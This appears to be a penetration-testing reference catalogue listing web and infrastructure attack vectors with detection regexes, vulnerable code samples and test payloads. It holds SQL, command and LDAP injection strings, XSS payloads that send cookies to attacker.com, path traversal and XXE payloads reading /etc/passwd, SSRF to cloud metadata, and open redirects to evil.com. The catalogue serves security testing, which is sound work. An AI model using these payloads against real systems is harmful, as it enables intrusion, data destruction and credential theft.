# Attack Vector Taxonomy

## Overview
Comprehensive catalog of attack vectors for penetration testing, organized by category with detection patterns and test payloads.

---

## 1. Injection Attacks

### 1.1 SQL Injection

**Variants**:
- Classic/In-band
- Blind (Boolean-based, Time-based)
- Union-based
- Stacked queries
- Second-order injection

**Detection Patterns**:
```python
# String concatenation in queries
patterns = [
    r'f".*SELECT.*{.*}"',
    r'f".*INSERT.*{.*}"',
    r'\.execute\(["\'].*\+.*["\']',
    r'\.execute\(f["\'].*{.*}.*["\']',
]
```

**Test Payloads**:
```sql
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' /*
admin' --
' UNION SELECT NULL--
' AND 1=1--
' AND 1=2--
'; DROP TABLE users--
' AND SLEEP(5)--
```

---

### 1.2 NoSQL Injection

**Target**: MongoDB, CouchDB, Redis

**Detection Patterns**:
```javascript
// Unsafe query construction
db.collection.find({username: req.body.username})  // VULNERABLE
```

**Test Payloads**:
```json
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
```

---

### 1.3 Command Injection

**Detection Patterns**:
```python
patterns = [
    r'os\.system\([^)]*[+f]',
    r'subprocess\.call\([^)]*shell=True',
    r'exec\(',
    r'eval\(',
]
```

**Test Payloads**:
```bash
; ls -la
| cat /etc/passwd
`whoami`
$(whoami)
& ping -c 10 127.0.0.1 &
```

---

### 1.4 LDAP Injection

**Test Payloads**:
```
*
*)(&
*)(uid=*))(|(uid=*
admin)(&(password=*))
```

---

### 1.5 XML/XPath Injection

**Test Payloads**:
```xml
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
```

---

## 2. Cross-Site Scripting (XSS)

### 2.1 Reflected XSS

**Detection Patterns**:
- User input rendered in HTML without escaping
- Template auto-escaping disabled

**Test Payloads**:
```html
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
"><script>alert(String.fromCharCode(88,83,83))</script>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
```

---

### 2.2 Stored XSS

**High-risk areas**: Comments, profiles, file uploads

**Test Payloads**:
```html
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>
<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">
```

---

### 2.3 DOM-based XSS

**Detection Patterns**:
```javascript
// Dangerous sinks
document.write(userInput)
element.innerHTML = userInput
eval(userInput)
setTimeout(userInput)
```

**Test Payloads**:
```javascript
#<script>alert('XSS')</script>
javascript:alert('XSS')
```

---

## 3. Authentication & Session Attacks

### 3.1 Brute Force

**Detection**: Missing rate limiting on login

**Test Approach**:
- Send 10+ login attempts in 10 seconds
- Check for account lockout
- Verify CAPTCHA implementation

---

### 3.2 Session Fixation

**Detection Patterns**:
- Session ID accepted from URL parameter
- Session ID not regenerated after login

---

### 3.3 Session Hijacking

**Detection**:
- Session cookies without HttpOnly flag
- Session cookies without Secure flag
- Predictable session IDs

---

### 3.4 Credential Stuffing

**Detection**: No device fingerprinting, no anomaly detection

---

## 4. Authorization Attacks

### 4.1 Insecure Direct Object Reference (IDOR)

**Detection Patterns**:
```python
# Missing ownership check
@app.route('/user/<user_id>/profile')
def get_profile(user_id):
    return User.query.get(user_id)  # VULNERABLE
```

**Test Approach**:
- Create two test accounts
- Access account A's resources using account B's session
- Increment/decrement ID parameters

---

### 4.2 Privilege Escalation

**Horizontal**: User A accesses User B's data

**Vertical**: Regular user gains admin privileges

**Test Payloads**:
```json
{"role": "admin"}
{"is_admin": true}
{"permissions": ["admin", "superuser"]}
```

---

### 4.3 Path Traversal

**Detection Patterns**:
```python
# Unsafe file access
open(f"uploads/{filename}")  # VULNERABLE if filename not validated
```

**Test Payloads**:
```
../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
....//....//....//etc/passwd
..;/etc/passwd
```

---

## 5. Cryptographic Attacks

### 5.1 Weak Algorithms

**Detection**:
- MD5/SHA1 for password hashing
- DES/3DES for encryption
- ECB mode
- Static/hardcoded IVs

**Vulnerable Code**:
```python
hashlib.md5(password.encode())  # VULNERABLE
Crypto.Cipher.DES.new(key, DES.MODE_ECB)  # VULNERABLE
```

---

### 5.2 Insufficient Key Length

**Detection**:
- RSA < 2048 bits
- AES < 128 bits

---

### 5.3 Hardcoded Secrets

**Detection Patterns**:
```python
patterns = [
    r'password\s*=\s*["\'][^"\']+["\']',
    r'api[_-]?key\s*=\s*["\'][^"\']+["\']',
    r'secret\s*=\s*["\'][^"\']+["\']',
    r'sk-[a-zA-Z0-9]{32,}',  # API keys
    r'AKIA[0-9A-Z]{16}',  # AWS keys
]
```

---

## 6. Business Logic Flaws

### 6.1 Race Conditions

**Detection**:
- Check-then-use patterns
- Non-atomic operations on shared resources

**Test Approach**:
- Send parallel requests to exploit timing windows
- Example: Transfer funds twice before balance check

---

### 6.2 Integer Overflow/Underflow

**Test Payloads**:
```
quantity: -1
price: -100
amount: 2147483648 (2^31)
```

---

### 6.3 TOCTOU (Time-of-Check-Time-of-Use)

**Detection**:
```python
# VULNERABLE
if user.balance >= amount:
    time.sleep(0.1)  # Window of vulnerability
    user.balance -= amount
```

---

### 6.4 Mass Assignment

**Test Payloads**:
```json
{
  "username": "attacker",
  "email": "attacker@example.com",
  "is_admin": true,
  "role": "admin",
  "verified": true
}
```

---

## 7. API Security

### 7.1 Broken Object Level Authorization (BOLA)

**Test Approach**:
```
GET /api/users/123/orders  # As user 456
GET /api/users/456/orders  # As user 123 (should fail)
```

---

### 7.2 Broken Function Level Authorization

**Test Approach**:
```
POST /api/admin/delete-user  # As regular user (should fail)
```

---

### 7.3 Excessive Data Exposure

**Detection**:
- API returns more fields than needed
- Sensitive fields not filtered

```json
{
  "id": 123,
  "name": "John Doe",
  "email": "john@example.com",
  "password_hash": "...",  # VULNERABLE - should not expose
  "ssn": "123-45-6789"  # VULNERABLE
}
```

---

### 7.4 Rate Limiting Bypass

**Test Approach**:
- Send 100+ requests in 1 minute
- Check for 429 Too Many Requests response
- Try bypass techniques: different IPs, headers, tokens

---

### 7.5 Mass Subscription

**Test Payloads**:
```json
{"subscriptions": ["user1@example.com", "user2@example.com", ...]} 
```

---

## 8. File Upload Attacks

### 8.1 Unrestricted File Upload

**Test Payloads**:
- Upload .php, .jsp, .aspx files
- Upload files with double extensions: `shell.php.jpg`
- Upload with null byte: `shell.php%00.jpg`
- Upload SVG with embedded JavaScript

---

### 8.2 Path Traversal via Filename

**Test Payloads**:
```
../../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
```

---

## 9. Server-Side Request Forgery (SSRF)

**Detection Patterns**:
```python
# Fetching user-supplied URLs without validation
requests.get(user_url)  # VULNERABLE
```

**Test Payloads**:
```
http://169.254.169.254/latest/meta-data/  # AWS metadata
http://localhost/admin
http://127.0.0.1:6379/  # Internal Redis
file:///etc/passwd
gopher://internal-service:11211/
```

---

## 10. XML External Entity (XXE)

**Detection Patterns**:
```python
# Unsafe XML parsing
lxml.etree.parse(user_xml)  # VULNERABLE without restrictions
```

**Test Payload**:
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

---

## 11. Insecure Deserialization

**Detection Patterns**:
```python
pickle.loads(user_data)  # VULNERABLE
yaml.load(user_data)  # VULNERABLE (use safe_load)
```

**Impact**: Remote code execution

---

## 12. Security Misconfiguration

### 12.1 Debug Mode Enabled

**Detection**:
```python
app.debug = True  # VULNERABLE in production
DEBUG = True
```

---

### 12.2 Directory Listing

**Test**: Access directories without index file

---

### 12.3 Default Credentials

**Test**:
- admin/admin
- root/root
- admin/password

---

### 12.4 Missing Security Headers

**Check for**:
- Content-Security-Policy
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security

---

### 12.5 CORS Misconfiguration

**Detection**:
```
Access-Control-Allow-Origin: *  # VULNERABLE for sensitive APIs
```

---

## 13. Denial of Service (DoS)

### 13.1 Resource Exhaustion

**Test Payloads**:
- Extremely large file uploads
- Complex regex (ReDoS): `(a+)+$`
- Zip bombs
- Billion laughs attack (XML)

---

### 13.2 Application-Level DoS

**Test Approach**:
- Send requests that trigger expensive operations
- Exploit algorithmic complexity (e.g., O(n²) endpoints)

---

## 14. Client-Side Attacks

### 14.1 Cross-Site Request Forgery (CSRF)

**Detection**:
- Missing CSRF tokens
- Tokens not validated
- State-changing GET requests

---

### 14.2 Clickjacking

**Detection**: Missing X-Frame-Options header

---

### 14.3 Open Redirect

**Test Payloads**:
```
?redirect=https://evil.com
?next=//evil.com
?url=javascript:alert('XSS')
```

---

## 15. Infrastructure Attacks

### 15.1 Docker Misconfigurations

**Detection**:
- Running as root user
- Privileged mode enabled
- Host network mode
- Sensitive volumes mounted

---

### 15.2 Kubernetes Misconfigurations

**Detection**:
- Privileged pods
- hostNetwork: true
- Excessive RBAC permissions
- No resource limits

---

### 15.3 Cloud Misconfigurations

**AWS**:
- Public S3 buckets
- Overly permissive IAM policies
- Security groups allowing 0.0.0.0/0

**GCP**:
- Public storage buckets
- Overly broad service account permissions

**Azure**:
- Public blob storage
- Network security groups allowing all traffic

---

## Severity Matrix

| Attack Vector | Typical Severity | CVSS Base |
|--------------|------------------|-----------|
| SQL Injection (auth bypass) | Critical | 9.8 |
| RCE | Critical | 10.0 |
| Authentication Bypass | Critical | 9.1 |
| XSS (stored, admin context) | High | 7.1 |
| IDOR (PII exposure) | High | 7.5 |
| CSRF (state-changing) | Medium | 6.5 |
| Information Disclosure | Medium | 5.3 |
| Missing Security Headers | Low | 3.7 |

---

## Custom Attack Vectors

Organizations can define custom attack vectors in `resources/attack_vectors.json`:

```json
{
  "custom_vectors": [
    {
      "id": "CUSTOM-001",
      "name": "Proprietary Protocol Injection",
      "category": "injection",
      "detection_patterns": ["specific_pattern_here"],
      "test_payloads": ["payload1", "payload2"],
      "severity": "high"
    }
  ]
}
```

